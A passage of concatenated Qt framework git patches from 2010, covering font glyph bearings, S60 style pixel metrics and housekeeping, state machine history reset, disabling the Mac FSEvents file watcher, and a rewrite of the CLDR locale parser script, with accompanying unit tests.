@@ -1096,7 +1096,7 @@ void QS60StylePrivate::setActiveLayout() activeLayoutIndex += (!landscape) ? 1 : 0; } - m_pmPointer = data[activeLayoutIndex]; + setCurrentLayout(activeLayoutIndex); } Q_GLOBAL_STATIC(QList, m_animations) -- cgit v0.12 From c3dd4b356e277c8ec2a2634dbae04cdc7e798ca9 Mon Sep 17 00:00:00 2001 From: Eskil Abrahamsen Blomfeldt Date: Mon, 22 Mar 2010 13:40:54 +0100 Subject: Recommit 1ebeb971d3382aec0fff927 This reverts commit 725c2c29c192349016b1332824a7716bbb992f31 which reverted the original commit because of a test failure on qws. This recommit adds a test for whether the metrics from QFontEngine::boundingBox() are valid, which is required for the bearings to be calculated. This test was also in the original logic. --- src/gui/text/qfontengine.cpp | 15 +++++++++++++++ src/gui/text/qfontengine_p.h | 3 +++ src/gui/text/qfontengine_win.cpp | 24 ++++++++++++++++++++++++ src/gui/text/qfontengine_win_p.h | 2 ++ src/gui/text/qfontmetrics.cpp | 21 +++++++++++++-------- src/gui/text/qtextlayout.cpp | 6 +++--- 6 files changed, 60 insertions(+), 11 deletions(-) diff --git a/src/gui/text/qfontengine.cpp b/src/gui/text/qfontengine.cpp index c000457..629db66 100644 --- a/src/gui/text/qfontengine.cpp +++ b/src/gui/text/qfontengine.cpp @@ -379,6 +379,15 @@ void QFontEngine::getGlyphPositions(const QGlyphLayout &glyphs, const QTransform Q_ASSERT(positions.size() == glyphs_out.size()); } +void QFontEngine::getGlyphBearings(glyph_t glyph, qreal *leftBearing, qreal *rightBearing) +{ + glyph_metrics_t gi = boundingBox(glyph); + bool isValid = gi.isValid(); + if (leftBearing != 0) + *leftBearing = isValid ? gi.x.toReal() : 0.0; + if (rightBearing != 0) + *rightBearing = isValid ? (gi.xoff - gi.x - gi.width).toReal() : 0.0; +} glyph_metrics_t QFontEngine::tightBoundingBox(const QGlyphLayout &glyphs) { @@ -1385,6 +1394,12 @@ glyph_metrics_t QFontEngineMulti::boundingBox(const QGlyphLayout &glyphs) return overall; } +void QFontEngineMulti::getGlyphBearings(glyph_t glyph, qreal *leftBearing, qreal *rightBearing) +{ + int which = highByte(glyph); + engine(which)->getGlyphBearings(stripped(glyph), leftBearing, rightBearing); +} + void QFontEngineMulti::addOutlineToPath(qreal x, qreal y, const QGlyphLayout &glyphs, QPainterPath *path, QTextItem::RenderFlags flags) { diff --git a/src/gui/text/qfontengine_p.h b/src/gui/text/qfontengine_p.h index 71ab5a5..e645caf 100644 --- a/src/gui/text/qfontengine_p.h +++ b/src/gui/text/qfontengine_p.h @@ -206,6 +206,8 @@ public: virtual qreal minLeftBearing() const { return qreal(); } virtual qreal minRightBearing() const { return qreal(); } + virtual void getGlyphBearings(glyph_t glyph, qreal *leftBearing = 0, qreal *rightBearing = 0); + virtual const char *name() const = 0; virtual bool canRender(const QChar *string, int len) = 0; @@ -374,6 +376,7 @@ public: virtual void recalcAdvances(QGlyphLayout *, QTextEngine::ShaperFlags) const; virtual void doKerning(QGlyphLayout *, QTextEngine::ShaperFlags) const; virtual void addOutlineToPath(qreal, qreal, const QGlyphLayout &, QPainterPath *, QTextItem::RenderFlags flags); + virtual void getGlyphBearings(glyph_t glyph, qreal *leftBearing = 0, qreal *rightBearing = 0); virtual QFixed ascent() const; virtual QFixed descent() const; diff --git a/src/gui/text/qfontengine_win.cpp b/src/gui/text/qfontengine_win.cpp index 1a815d3..a133b48 100644 --- a/src/gui/text/qfontengine_win.cpp +++ b/src/gui/text/qfontengine_win.cpp @@ -649,6 +649,30 @@ static const ushort char_table[] = { static const int char_table_entries = sizeof(char_table)/sizeof(ushort); +void QFontEngineWin::getGlyphBearings(glyph_t glyph, qreal *leftBearing, qreal *rightBearing) +{ + HDC hdc = shared_dc(); + SelectObject(hdc, hfont); + +#ifndef Q_WS_WINCE + if (ttf) +#endif + + { + ABC abcWidths; + GetCharABCWidthsI(hdc, glyph, 1, 0, &abcWidths); + if (leftBearing) + *leftBearing = abcWidths.abcA; + if (rightBearing) + *rightBearing = abcWidths.abcC; + } + +#ifndef Q_WS_WINCE + else { + QFontEngine::getGlyphBearings(glyph, leftBearing, rightBearing); + } +#endif +} qreal QFontEngineWin::minLeftBearing() const { diff --git a/src/gui/text/qfontengine_win_p.h b/src/gui/text/qfontengine_win_p.h index f9d8f8b..f19e48e 100644 --- a/src/gui/text/qfontengine_win_p.h +++ b/src/gui/text/qfontengine_win_p.h @@ -106,6 +106,8 @@ public: virtual QImage alphaMapForGlyph(glyph_t, const QTransform &xform); virtual QImage alphaRGBMapForGlyph(glyph_t t, int margin, const QTransform &xform); + virtual void getGlyphBearings(glyph_t glyph, qreal *leftBearing = 0, qreal *rightBearing = 0); + int getGlyphIndexes(const QChar *ch, int numChars, QGlyphLayout *glyphs, bool mirrored) const; void getCMap(); diff --git a/src/gui/text/qfontmetrics.cpp b/src/gui/text/qfontmetrics.cpp index 41d0af1..44a18de 100644 --- a/src/gui/text/qfontmetrics.cpp +++ b/src/gui/text/qfontmetrics.cpp @@ -472,8 +472,9 @@ int QFontMetrics::leftBearing(QChar ch) const int nglyphs = 9; engine->stringToCMap(&ch, 1, &glyphs, &nglyphs, 0); // ### can nglyphs != 1 happen at all? Not currently I think - glyph_metrics_t gi = engine->boundingBox(glyphs.glyphs[0]); - return qRound(gi.x); + qreal lb; + engine->getGlyphBearings(glyphs.glyphs[0], &lb); + return qRound(lb); } /*! @@ -506,8 +507,9 @@ int QFontMetrics::rightBearing(QChar ch) const int nglyphs = 9; engine->stringToCMap(&ch, 1, &glyphs, &nglyphs, 0); // ### can nglyphs != 1 happen at all? Not currently I think - glyph_metrics_t gi = engine->boundingBox(glyphs.glyphs[0]); - return qRound(gi.xoff - gi.x - gi.width); + qreal rb; + engine->getGlyphBearings(glyphs.glyphs[0], 0, &rb); + return qRound(rb); } /*! @@ -1317,8 +1319,9 @@ qreal QFontMetricsF::leftBearing(QChar ch) const int nglyphs = 9; engine->stringToCMap(&ch, 1, &glyphs, &nglyphs, 0); // ### can nglyphs != 1 happen at all? Not currently I think - glyph_metrics_t gi = engine->boundingBox(glyphs.glyphs[0]); - return gi.x.toReal(); + qreal lb; + engine->getGlyphBearings(glyphs.glyphs[0], &lb); + return lb; } /*! @@ -1351,8 +1354,10 @@ qreal QFontMetricsF::rightBearing(QChar ch) const int nglyphs = 9; engine->stringToCMap(&ch, 1, &glyphs, &nglyphs, 0); // ### can nglyphs != 1 happen at all? Not currently I think - glyph_metrics_t gi = engine->boundingBox(glyphs.glyphs[0]); - return (gi.xoff - gi.x - gi.width).toReal(); + qreal rb; + engine->getGlyphBearings(glyphs.glyphs[0], 0, &rb); + return rb; + } /*! diff --git a/src/gui/text/qtextlayout.cpp b/src/gui/text/qtextlayout.cpp index 204effa..3c0e85e 100644 --- a/src/gui/text/qtextlayout.cpp +++ b/src/gui/text/qtextlayout.cpp @@ -1688,9 +1688,9 @@ namespace { if (currentPosition <= 0) return; - glyph_metrics_t gi = fontEngine->boundingBox(currentGlyph()); - if (gi.isValid()) - rightBearing = qMin(QFixed(), gi.xoff - gi.x - gi.width); + qreal rb; + fontEngine->getGlyphBearings(currentGlyph(), 0, &rb); + rightBearing = qMin(QFixed(), QFixed::fromReal(rb)); } inline void resetRightBearing() -- cgit v0.12 From 669c8042fa78c539cdefec87c85bce91e561871d Mon Sep 17 00:00:00 2001 From: Sami Merila Date: Mon, 22 Mar 2010 14:59:25 +0200 Subject: Custom pixel metric values cannot be inquired from outside the class This is due that a) custom values are internal and not exposed b) values use different format - they are indexes for internal data[] table and not according to QStyle documentation for pixel metrics. Task-number: QTBUG-9247 Reviewed-by: Alessandro Portale --- src/gui/styles/qs60style.cpp | 7 +++++++ src/gui/styles/qs60style.h | 9 +++++++++ src/gui/styles/qs60style_p.h | 3 +++ 3 files changed, 19 insertions(+) diff --git a/src/gui/styles/qs60style.cpp b/src/gui/styles/qs60style.cpp index 750e19f..ed2074a 100644 --- a/src/gui/styles/qs60style.cpp +++ b/src/gui/styles/qs60style.cpp @@ -307,6 +307,13 @@ void QS60StylePrivate::drawSkinPart(QS60StyleEnums::SkinParts part, short QS60StylePrivate::pixelMetric(int metric) { + //If it is a custom value, need to strip away the base to map to internal + //pixel metric value table + if (metric & QStyle::PM_CustomBase) { + metric -= QStyle::PM_CustomBase; + metric += MAX_NON_CUSTOM_PIXELMETRICS - 1; + } + Q_ASSERT(metric < MAX_PIXELMETRICS); const short returnValue = m_pmPointer[metric]; return returnValue; diff --git a/src/gui/styles/qs60style.h b/src/gui/styles/qs60style.h index 82cc21c..af17843 100644 --- a/src/gui/styles/qs60style.h +++ b/src/gui/styles/qs60style.h @@ -52,6 +52,15 @@ QT_MODULE(Gui) #if !defined(QT_NO_STYLE_S60) +//Public custom pixel metrics values. +//These can be used to fetch custom pixel metric value from outside QS60Style. +enum { + PM_FrameCornerWidth = QStyle::PM_CustomBase + 1, + PM_FrameCornerHeight, + PM_BoldLineWidth, + PM_ThinLineWidth + }; + class QS60StylePrivate; class Q_GUI_EXPORT QS60Style : public QCommonStyle diff --git a/src/gui/styles/qs60style_p.h b/src/gui/styles/qs60style_p.h index 16d82e7..84f50ea 100644 --- a/src/gui/styles/qs60style_p.h +++ b/src/gui/styles/qs60style_p.h @@ -61,12 +61,15 @@ QT_BEGIN_NAMESPACE const int MAX_NON_CUSTOM_PIXELMETRICS = 92; const int CUSTOMVALUESCOUNT = 4; + +//internal custom pixel metrics values, these map to entry in data[] table enum { PM_Custom_FrameCornerWidth = MAX_NON_CUSTOM_PIXELMETRICS, PM_Custom_FrameCornerHeight, PM_Custom_BoldLineWidth, PM_Custom_ThinLineWidth }; + const int MAX_PIXELMETRICS = MAX_NON_CUSTOM_PIXELMETRICS + CUSTOMVALUESCOUNT; typedef struct { -- cgit v0.12 From c1e23f855826942d7d3821a944c35272d9ecffb4 Mon Sep 17 00:00:00 2001 From: Kent Hansen Date: Mon, 22 Mar 2010 14:00:02 +0100 Subject: Reset history states when (re)starting state machine State saved in QHistoryState should not be persistent between state machine starts/stops. Task-number: QTBUG-8842 Reviewed-by: Eskil Abrahamsen Blomfeldt --- src/corelib/statemachine/qstatemachine.cpp | 11 +++++ src/corelib/statemachine/qstatemachine_p.h | 2 + tests/auto/qstatemachine/tst_qstatemachine.cpp | 59 ++++++++++++++++++++++++++ 3 files changed, 72 insertions(+) diff --git a/src/corelib/statemachine/qstatemachine.cpp b/src/corelib/statemachine/qstatemachine.cpp index bd7e626..9d5c49f 100644 --- a/src/corelib/statemachine/qstatemachine.cpp +++ b/src/corelib/statemachine/qstatemachine.cpp @@ -1175,6 +1175,16 @@ void QStateMachinePrivate::removeStartState() _startState = 0; } +void QStateMachinePrivate::clearHistory() +{ + Q_Q(QStateMachine); + QList historyStates = qFindChildren(q); + for (int i = 0; i < historyStates.size(); ++i) { + QHistoryState *h = historyStates.at(i); + QHistoryStatePrivate::get(h)->configuration.clear(); + } +} + void QStateMachinePrivate::_q_start() { Q_Q(QStateMachine); @@ -1186,6 +1196,7 @@ void QStateMachinePrivate::_q_start() internalEventQueue.clear(); qDeleteAll(externalEventQueue); externalEventQueue.clear(); + clearHistory(); #ifdef QSTATEMACHINE_DEBUG qDebug() << q << ": starting"; diff --git a/src/corelib/statemachine/qstatemachine_p.h b/src/corelib/statemachine/qstatemachine_p.h index 0fead5d..5e1015f 100644 --- a/src/corelib/statemachine/qstatemachine_p.h +++ b/src/corelib/statemachine/qstatemachine_p.h @@ -126,6 +126,8 @@ public: QState *startState(); void removeStartState(); + void clearHistory(); + void microstep(QEvent *event, const QList &transitionList); bool isPreempted(const QAbstractState *s, const QSet &transitions) const; QSet selectTransitions(QEvent *event) const; diff --git a/tests/auto/qstatemachine/tst_qstatemachine.cpp b/tests/auto/qstatemachine/tst_qstatemachine.cpp index 90b5a22..2bf76e7 100644 --- a/tests/auto/qstatemachine/tst_qstatemachine.cpp +++ b/tests/auto/qstatemachine/tst_qstatemachine.cpp @@ -155,6 +155,7 @@ private slots: void clearError(); void historyStateHasNowhereToGo(); void historyStateAsInitialState(); + void historyStateAfterRestart(); void brokenStateIsNeverEntered(); void customErrorStateNotInGraph(); void transitionToStateNotInGraph(); @@ -906,6 +907,64 @@ void tst_QStateMachine::historyStateHasNowhereToGo() QCOMPARE(machine.errorString(), QString::fromLatin1("Missing default state in history state 'historyState'")); } +void tst_QStateMachine::historyStateAfterRestart() +{ + // QTBUG-8842 + QStateMachine machine; + + QState *s1 = new QState(&machine); + machine.setInitialState(s1); + QState *s2 = new QState(&machine); + QState *s21 = new QState(s2); + QState *s22 = new QState(s2); + QHistoryState *s2h = new QHistoryState(s2); + s2h->setDefaultState(s21); + s1->addTransition(new EventTransition(QEvent::User, s2h)); + s21->addTransition(new EventTransition(QEvent::User, s22)); + s2->addTransition(new EventTransition(QEvent::User, s1)); + + for (int x = 0; x < 2; ++x) { + QSignalSpy startedSpy(&machine, SIGNAL(started())); + machine.start(); + QTRY_COMPARE(startedSpy.count(), 1); + QCOMPARE(machine.configuration().count(), 1); + QVERIFY(machine.configuration().contains(s1)); + + // s1 -> s2h -> s21 (default state) + machine.postEvent(new QEvent(QEvent::User)); + QCoreApplication::processEvents(); + QCOMPARE(machine.configuration().count(), 2); + QVERIFY(machine.configuration().contains(s2)); + // This used to fail on the 2nd run because the + // history had not been cleared. + QVERIFY(machine.configuration().contains(s21)); + + // s21 -> s22 + machine.postEvent(new QEvent(QEvent::User)); + QCoreApplication::processEvents(); + QCOMPARE(machine.configuration().count(), 2); + QVERIFY(machine.configuration().contains(s2)); + QVERIFY(machine.configuration().contains(s22)); + + // s2 -> s1 (s22 saved in s2h) + machine.postEvent(new QEvent(QEvent::User)); + QCoreApplication::processEvents(); + QCOMPARE(machine.configuration().count(), 1); + QVERIFY(machine.configuration().contains(s1)); + + // s1 -> s2h -> s22 (saved state) + machine.postEvent(new QEvent(QEvent::User)); + QCoreApplication::processEvents(); + QCOMPARE(machine.configuration().count(), 2); + QVERIFY(machine.configuration().contains(s2)); + QVERIFY(machine.configuration().contains(s22)); + + QSignalSpy stoppedSpy(&machine, SIGNAL(stopped())); + machine.stop(); + QTRY_COMPARE(stoppedSpy.count(), 1); + } +} + void tst_QStateMachine::brokenStateIsNeverEntered() { QStateMachine machine; -- cgit v0.12 From 781e4d6190362818482864947a90d230fd700b06 Mon Sep 17 00:00:00 2001 From: Sami Merila Date: Mon, 22 Mar 2010 15:07:51 +0200 Subject: QS60Style: Housekeeping Remove unnecessary #include, remove unnecessary integer, correct spelling issues in comments and replace tabs with spaces. Reviewed-by: Alessandro Portale --- src/gui/styles/qs60style.cpp | 12 +++++------- src/gui/styles/qs60style_p.h | 2 +- src/gui/styles/qs60style_s60.cpp | 4 ++-- 3 files changed, 8 insertions(+), 10 deletions(-) diff --git a/src/gui/styles/qs60style.cpp b/src/gui/styles/qs60style.cpp index ed2074a..ec8b468 100644 --- a/src/gui/styles/qs60style.cpp +++ b/src/gui/styles/qs60style.cpp @@ -61,7 +61,6 @@ #include "qscrollarea.h" #include "qscrollbar.h" #include "qtabbar.h" -#include "qtablewidget.h" #include "qtableview.h" #include "qtextedit.h" #include "qtoolbar.h" @@ -1009,7 +1008,6 @@ void QS60Style::drawComplexControl(ComplexControl control, const QStyleOptionCom QS60StylePrivate::SE_SliderGrooveVertical; QS60StylePrivate::drawSkinElement(grooveElement, painter, sliderGroove, flags); } else { - const QRect sliderGroove = subControlRect(control, optionSlider, SC_SliderGroove, widget); const QPoint sliderGrooveCenter = sliderGroove.center(); const bool horizontal = optionSlider->orientation == Qt::Horizontal; painter->save(); @@ -1136,7 +1134,7 @@ void QS60Style::drawComplexControl(ComplexControl control, const QStyleOptionCom drawPrimitive(pe, &toolButton, painter, widget); } - if (toolBtn->text.length()>0 || + if (toolBtn->text.length() > 0 || !toolBtn->icon.isNull()) { const int frameWidth = pixelMetric(PM_DefaultFrameWidth, option, widget); toolButton.rect = button.adjusted(frameWidth, frameWidth, -frameWidth, -frameWidth); @@ -2316,7 +2314,7 @@ void QS60Style::drawPrimitive(PrimitiveElement element, const QStyleOption *opti (option->state & State_Open) ? QS60StyleEnums::SP_QgnIndiHlColSuper : QS60StyleEnums::SP_QgnIndiHlExpSuper; int minDimension = qMin(option->rect.width(), option->rect.height()); QRect iconRect(option->rect.topLeft(), QSize(minDimension, minDimension)); - const int magicTweak = 3; + const int magicTweak = 3; int resizeValue = minDimension >> 1; if (!QS60StylePrivate::isTouchSupported()) { minDimension += resizeValue; // Adjust the icon bigger because of empty space in svg icon. @@ -2461,9 +2459,9 @@ QSize QS60Style::sizeFromContents(ContentsType ct, const QStyleOption *opt, #ifndef QT_NO_COMBOBOX case CT_ComboBox: { // Fixing Ui design issues with too wide QComboBoxes and greedy SizeHints - // Make sure, that the combobox says within the screen. + // Make sure, that the combobox stays within the screen. const QSize desktopContentSize = QApplication::desktop()->availableGeometry().size() - -QSize(pixelMetric(PM_LayoutLeftMargin) + pixelMetric(PM_LayoutRightMargin), 0); + - QSize(pixelMetric(PM_LayoutLeftMargin) + pixelMetric(PM_LayoutRightMargin), 0); sz = QCommonStyle::sizeFromContents(ct, opt, csz, widget). boundedTo(desktopContentSize); } @@ -3249,7 +3247,7 @@ bool QS60Style::eventFilter(QObject *object, QEvent *event) /*! \internal - Handle the timer \a event. + Handle the timer \a event. */ void QS60Style::timerEvent(QTimerEvent *event) { diff --git a/src/gui/styles/qs60style_p.h b/src/gui/styles/qs60style_p.h index 84f50ea..df6f582 100644 --- a/src/gui/styles/qs60style_p.h +++ b/src/gui/styles/qs60style_p.h @@ -428,7 +428,7 @@ public: SE_ToolBarButton, SE_ToolBarButtonPressed, SE_PanelBackground, - SE_ScrollBarHandlePressedHorizontal, //only for 5.0+ + SE_ScrollBarHandlePressedHorizontal, SE_ScrollBarHandlePressedVertical, SE_ButtonInactive, SE_Editor, diff --git a/src/gui/styles/qs60style_s60.cpp b/src/gui/styles/qs60style_s60.cpp index bb862a3..0f014c1 100644 --- a/src/gui/styles/qs60style_s60.cpp +++ b/src/gui/styles/qs60style_s60.cpp @@ -755,7 +755,7 @@ QPixmap QS60StyleModeSpecifics::createSkinnedGraphicsLX( if (drawn) result = fromFbsBitmap(background, NULL, flags, targetSize); - // if drawing fails in skin server, just ignore the background (probably OOM occured) + // if drawing fails in skin server, just ignore the background (probably OOM case) CleanupStack::PopAndDestroy(4, background); //background, dev, gc, bgContext // QS60WindowSurface::lockBitmapHeap(); @@ -787,7 +787,7 @@ QPixmap QS60StyleModeSpecifics::createSkinnedGraphicsLX( const int currentFrame = QS60StylePrivate::currentAnimationFrame(part); if (constructedFromTheme && aknAnimation && aknAnimation->BitmapAnimData()->FrameArray().Count() > 0) { - //Animation was created succesfully and contains frames, just fetch current frame + //Animation was created successfully and contains frames, just fetch current frame if(currentFrame >= aknAnimation->BitmapAnimData()->FrameArray().Count()) User::Leave(KErrOverflow); const CBitmapFrameData* frameData = aknAnimation->BitmapAnimData()->FrameArray().At(currentFrame); -- cgit v0.12 From 6d1baf9979346d6f15da81a535becb4046278962 Mon Sep 17 00:00:00 2001 From: Denis Dzyubenko Date: Mon, 22 Mar 2010 14:14:10 +0100 Subject: Do not use FSEvents-based filesystemwatcher backend on Mac. Removing the usage of FSEvents-based backend for now as it has a few bugs that cannot be fixed right away. We will rewise it later and fallback to kqueue-based backend for the moment. Also added a test case that triggers a bug in the FSEvents file system watcher. Reviewed-by: trustme --- src/corelib/io/qfilesystemwatcher.cpp | 2 +- .../qfilesystemwatcher/tst_qfilesystemwatcher.cpp | 25 ++++++++++++++++++++++ 2 files changed, 26 insertions(+), 1 deletion(-) diff --git a/src/corelib/io/qfilesystemwatcher.cpp b/src/corelib/io/qfilesystemwatcher.cpp index 7223e49..00af3fd 100644 --- a/src/corelib/io/qfilesystemwatcher.cpp +++ b/src/corelib/io/qfilesystemwatcher.cpp @@ -248,7 +248,7 @@ QFileSystemWatcherEngine *QFileSystemWatcherPrivate::createNativeEngine() eng = QDnotifyFileSystemWatcherEngine::create(); return eng; #elif defined(Q_OS_FREEBSD) || defined(Q_OS_MAC) -# if defined(Q_OS_MAC) && (MAC_OS_X_VERSION_MAX_ALLOWED >= MAC_OS_X_VERSION_10_5) +# if 0 && defined(Q_OS_MAC) && (MAC_OS_X_VERSION_MAX_ALLOWED >= MAC_OS_X_VERSION_10_5) if (QSysInfo::MacintoshVersion >= QSysInfo::MV_10_5) return QFSEventsFileSystemWatcherEngine::create(); else diff --git a/tests/auto/qfilesystemwatcher/tst_qfilesystemwatcher.cpp b/tests/auto/qfilesystemwatcher/tst_qfilesystemwatcher.cpp index 7138905..a26e34d 100644 --- a/tests/auto/qfilesystemwatcher/tst_qfilesystemwatcher.cpp +++ b/tests/auto/qfilesystemwatcher/tst_qfilesystemwatcher.cpp @@ -79,6 +79,8 @@ private slots: void nonExistingFile(); + void removeFileAndUnWatch(); + void cleanup(); private: QStringList do_force_engines; @@ -532,5 +534,28 @@ void tst_QFileSystemWatcher::nonExistingFile() QVERIFY(true); } +void tst_QFileSystemWatcher::removeFileAndUnWatch() +{ + static const char * const filename = "foo.txt"; + QFileSystemWatcher watcher; + + { + QFile testFile(filename); + testFile.open(QIODevice::WriteOnly); + testFile.close(); + } + watcher.addPath(filename); + + QFile::remove(filename); + watcher.removePath(filename); + + { + QFile testFile(filename); + testFile.open(QIODevice::WriteOnly); + testFile.close(); + } + watcher.addPath(filename); +} + QTEST_MAIN(tst_QFileSystemWatcher) #include "tst_qfilesystemwatcher.moc" -- cgit v0.12 From c7febf61783c06f8fb68fa1ef26cc92d04ce2e98 Mon Sep 17 00:00:00 2001 From: Denis Dzyubenko Date: Wed, 27 Jan 2010 15:25:19 +0100 Subject: Improved the cldr parser for QLocale. I believe now we parse the CLDR properly. If a data is not present in a file, we remove the last part of the filename and try again. And we should do the same if a file is an alias to some other file. For example az_AZ.xml is an alias to az_Latn_AZ.xml which itself falls back to az_Latn.xml and then to az.xml Reviewed-by: Frans Englich --- util/local_database/cldr2qlocalexml.py | 286 +++++++++++++++++---------------- util/local_database/xpathlite.py | 113 +++++++++---- 2 files changed, 230 insertions(+), 169 deletions(-) diff --git a/util/local_database/cldr2qlocalexml.py b/util/local_database/cldr2qlocalexml.py index f837d94..6f4ee25 100755 --- a/util/local_database/cldr2qlocalexml.py +++ b/util/local_database/cldr2qlocalexml.py @@ -48,6 +48,7 @@ from xpathlite import DraftResolution import re findEntry = xpathlite.findEntry +findEntryInFile = xpathlite._findEntryInFile def ordStr(c): if len(c) == 1: @@ -73,13 +74,23 @@ def fixOrdStrList(c): def generateLocaleInfo(path): (dir_name, file_name) = os.path.split(path) - exp = re.compile(r"([a-z]+)_([A-Z]{2})\.xml") - m = exp.match(file_name) - if not m: + if not path.endswith(".xml"): + return {} + language_code = findEntryInFile(path, "identity/language", attribute="type")[0] + if language_code == 'root': + # just skip it + return {} + country_code = findEntryInFile(path, "identity/territory", attribute="type")[0] + script_code = findEntryInFile(path, "identity/script", attribute="type")[0] + variant_code = findEntryInFile(path, "identity/variant", attribute="type")[0] + + # we should handle fully qualified names with the territory + if not country_code: return {} - language_code = m.group(1) - country_code = m.group(2) + # we do not support scripts and variants + if variant_code or script_code: + return {} language_id = enumdata.languageCodeToId(language_code) if language_id == -1: @@ -93,179 +104,177 @@ def generateLocaleInfo(path): return {} country = enumdata.country_list[country_id][0] - base = dir_name + "/" + language_code + "_" + country_code - result = {} - result['base'] = base - result['language'] = language result['country'] = country + result['language_code'] = language_code + result['country_code'] = country_code result['language_id'] = language_id result['country_id'] = country_id - result['decimal'] = findEntry(base, "numbers/symbols/decimal") - result['group'] = findEntry(base, "numbers/symbols/group") - result['list'] = findEntry(base, "numbers/symbols/list") - result['percent'] = findEntry(base, "numbers/symbols/percentSign") - result['zero'] = findEntry(base, "numbers/symbols/nativeZeroDigit") - result['minus'] = findEntry(base, "numbers/symbols/minusSign") - result['plus'] = findEntry(base, "numbers/symbols/plusSign") - result['exp'] = findEntry(base, "numbers/symbols/exponential").lower() - result['am'] = findEntry(base, "dates/calendars/calendar[gregorian]/am", draft=DraftResolution.approved) - result['pm'] = findEntry(base, "dates/calendars/calendar[gregorian]/pm", draft=DraftResolution.approved) - result['longDateFormat'] = findEntry(base, "dates/calendars/calendar[gregorian]/dateFormats/dateFormatLength[full]/dateFormat/pattern") - result['shortDateFormat'] = findEntry(base, "dates/calendars/calendar[gregorian]/dateFormats/dateFormatLength[short]/dateFormat/pattern") - result['longTimeFormat'] = findEntry(base, "dates/calendars/calendar[gregorian]/timeFormats/timeFormatLength[full]/timeFormat/pattern") - result['shortTimeFormat'] = findEntry(base, "dates/calendars/calendar[gregorian]/timeFormats/timeFormatLength[short]/timeFormat/pattern") + result['decimal'] = findEntry(path, "numbers/symbols/decimal") + result['group'] = findEntry(path, "numbers/symbols/group") + result['list'] = findEntry(path, "numbers/symbols/list") + result['percent'] = findEntry(path, "numbers/symbols/percentSign") + result['zero'] = findEntry(path, "numbers/symbols/nativeZeroDigit") + result['minus'] = findEntry(path, "numbers/symbols/minusSign") + result['plus'] = findEntry(path, "numbers/symbols/plusSign") + result['exp'] = findEntry(path, "numbers/symbols/exponential").lower() + result['am'] = findEntry(path, "dates/calendars/calendar[gregorian]/am", draft=DraftResolution.approved) + result['pm'] = findEntry(path, "dates/calendars/calendar[gregorian]/pm", draft=DraftResolution.approved) + result['longDateFormat'] = findEntry(path, "dates/calendars/calendar[gregorian]/dateFormats/dateFormatLength[full]/dateFormat/pattern") + result['shortDateFormat'] = findEntry(path, "dates/calendars/calendar[gregorian]/dateFormats/dateFormatLength[short]/dateFormat/pattern") + result['longTimeFormat'] = findEntry(path, "dates/calendars/calendar[gregorian]/timeFormats/timeFormatLength[full]/timeFormat/pattern") + result['shortTimeFormat'] = findEntry(path, "dates/calendars/calendar[gregorian]/timeFormats/timeFormatLength[short]/timeFormat/pattern") standalone_long_month_path = "dates/calendars/calendar[gregorian]/months/monthContext[stand-alone]/monthWidth[wide]/month" result['standaloneLongMonths'] \ - = findEntry(base, standalone_long_month_path + "[1]") + ";" \ - + findEntry(base, standalone_long_month_path + "[2]") + ";" \ - + findEntry(base, standalone_long_month_path + "[3]") + ";" \ - + findEntry(base, standalone_long_month_path + "[4]") + ";" \ - + findEntry(base, standalone_long_month_path + "[5]") + ";" \ - + findEntry(base, standalone_long_month_path + "[6]") + ";" \ - + findEntry(base, standalone_long_month_path + "[7]") + ";" \ - + findEntry(base, standalone_long_month_path + "[8]") + ";" \ - + findEntry(base, standalone_long_month_path + "[9]") + ";" \ - + findEntry(base, standalone_long_month_path + "[10]") + ";" \ - + findEntry(base, standalone_long_month_path + "[11]") + ";" \ - + findEntry(base, standalone_long_month_path + "[12]") + ";" + = findEntry(path, standalone_long_month_path + "[1]") + ";" \ + + findEntry(path, standalone_long_month_path + "[2]") + ";" \ + + findEntry(path, standalone_long_month_path + "[3]") + ";" \ + + findEntry(path, standalone_long_month_path + "[4]") + ";" \ + + findEntry(path, standalone_long_month_path + "[5]") + ";" \ + + findEntry(path, standalone_long_month_path + "[6]") + ";" \ + + findEntry(path, standalone_long_month_path + "[7]") + ";" \ + + findEntry(path, standalone_long_month_path + "[8]") + ";" \ + + findEntry(path, standalone_long_month_path + "[9]") + ";" \ + + findEntry(path, standalone_long_month_path + "[10]") + ";" \ + + findEntry(path, standalone_long_month_path + "[11]") + ";" \ + + findEntry(path, standalone_long_month_path + "[12]") + ";" standalone_short_month_path = "dates/calendars/calendar[gregorian]/months/monthContext[stand-alone]/monthWidth[abbreviated]/month" result['standaloneShortMonths'] \ - = findEntry(base, standalone_short_month_path + "[1]") + ";" \ - + findEntry(base, standalone_short_month_path + "[2]") + ";" \ - + findEntry(base, standalone_short_month_path + "[3]") + ";" \ - + findEntry(base, standalone_short_month_path + "[4]") + ";" \ - + findEntry(base, standalone_short_month_path + "[5]") + ";" \ - + findEntry(base, standalone_short_month_path + "[6]") + ";" \ - + findEntry(base, standalone_short_month_path + "[7]") + ";" \ - + findEntry(base, standalone_short_month_path + "[8]") + ";" \ - + findEntry(base, standalone_short_month_path + "[9]") + ";" \ - + findEntry(base, standalone_short_month_path + "[10]") + ";" \ - + findEntry(base, standalone_short_month_path + "[11]") + ";" \ - + findEntry(base, standalone_short_month_path + "[12]") + ";" + = findEntry(path, standalone_short_month_path + "[1]") + ";" \ + + findEntry(path, standalone_short_month_path + "[2]") + ";" \ + + findEntry(path, standalone_short_month_path + "[3]") + ";" \ + + findEntry(path, standalone_short_month_path + "[4]") + ";" \ + + findEntry(path, standalone_short_month_path + "[5]") + ";" \ + + findEntry(path, standalone_short_month_path + "[6]") + ";" \ + + findEntry(path, standalone_short_month_path + "[7]") + ";" \ + + findEntry(path, standalone_short_month_path + "[8]") + ";" \ + + findEntry(path, standalone_short_month_path + "[9]") + ";" \ + + findEntry(path, standalone_short_month_path + "[10]") + ";" \ + + findEntry(path, standalone_short_month_path + "[11]") + ";" \ + + findEntry(path, standalone_short_month_path + "[12]") + ";" standalone_narrow_month_path = "dates/calendars/calendar[gregorian]/months/monthContext[stand-alone]/monthWidth[narrow]/month" result['standaloneNarrowMonths'] \ - = findEntry(base, standalone_narrow_month_path + "[1]") + ";" \ - + findEntry(base, standalone_narrow_month_path + "[2]") + ";" \ - + findEntry(base, standalone_narrow_month_path + "[3]") + ";" \ - + findEntry(base, standalone_narrow_month_path + "[4]") + ";" \ - + findEntry(base, standalone_narrow_month_path + "[5]") + ";" \ - + findEntry(base, standalone_narrow_month_path + "[6]") + ";" \ - + findEntry(base, standalone_narrow_month_path + "[7]") + ";" \ - + findEntry(base, standalone_narrow_month_path + "[8]") + ";" \ - + findEntry(base, standalone_narrow_month_path + "[9]") + ";" 